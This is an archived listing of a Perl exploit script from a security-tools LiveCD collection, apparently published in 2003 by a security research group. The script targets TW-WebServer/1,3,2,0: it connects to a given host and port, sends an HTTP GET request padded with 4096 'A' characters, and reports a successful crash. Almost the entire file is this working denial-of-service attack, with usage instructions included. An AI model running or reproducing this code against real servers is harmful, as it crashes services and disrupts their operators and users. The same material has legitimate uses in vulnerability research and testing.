home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / twilight / sp-urfuqed.pl < prev    next >
Perl Script  |  2005-02-12  |  2KB  |  59 lines
  1. #!/usr/bin/perl
  2. #
  3. # Twilight Utilities TW-WebServer/1,3,2,0 
  4. #
  5. # Vulnerable systems:
  6. # TW-WebServer/1, 3, 2, 0
  7. # 
  8. # Written by badpack3t <badpack3t@security-protocols.com>
  9. # For SP Research Labs
  10. # 04/15/2003
  11. # 
  12. # www.security-protocols.com
  13. # 
  14. # usage: 
  15. # perl sp-urfuqed.pl <target> <port>
  16. #
  17. # big ups 2: acidjazz, #havoc, regulate, cr0wn, mp, lopt, 
  18. # aitek5, rab, #darknet, dvdman, bind, and whoever the f else.
  19.  
  20. use IO::Socket;
  21. use strict;
  22.  
  23. print ".:."x 20; print "\nTW-WebServer/1, 3, 2, 0 DoS, <badpack3t\@security-protocols.com>\n";
  24. print ".:."x 20; print "\n\n";
  25.  
  26. if(!defined($ARGV[0] && $ARGV[1]))
  27. {
  28.    &usage;
  29. }
  30.  
  31. my $host     = $ARGV[0];
  32. my $def      = "A";
  33. my $num         = "4096";
  34. my $port     = $ARGV[1];
  35. my $urfuqed  = $def x $num;
  36.  
  37. my $tcpval   = getprotobyname('tcp');
  38. my $serverIP = inet_aton($host);
  39. my $serverAddr = sockaddr_in($ARGV[1], $serverIP);
  40. my $protocol_name = "tcp";
  41.  
  42. my $iaddr    = inet_aton($host)        || die ("host was not found: $host");
  43. my $paddr    = sockaddr_in($port, $iaddr)  || die ("you did something wrong stupid... exiting...");
  44. my $proto    = getprotobyname('tcp')       || die ("cannot get protocol");
  45. socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die ("socket could not open: $host");
  46. connect(SOCK, $paddr)                || die ("cannot connect to: $host");
  47.  
  48. my $submit   = "GET $urfuqed HTTP/1.0\r\n\r\n";   
  49. send(SOCK,$submit,0);
  50. close(SOCK);
  51.  
  52. sub usage {die("\n\nUsage: perl $0 <target_host> <port>\n\n");}
  53.  
  54. print "\n.:.:.:.:.:.:.:.:.:.:.:.";
  55. print "\ncrash was successful ~!\n";
  56. print "\.:.:.:.:.:.:.:.:.:.:.:.\n";
  57.  
  58.  
  59.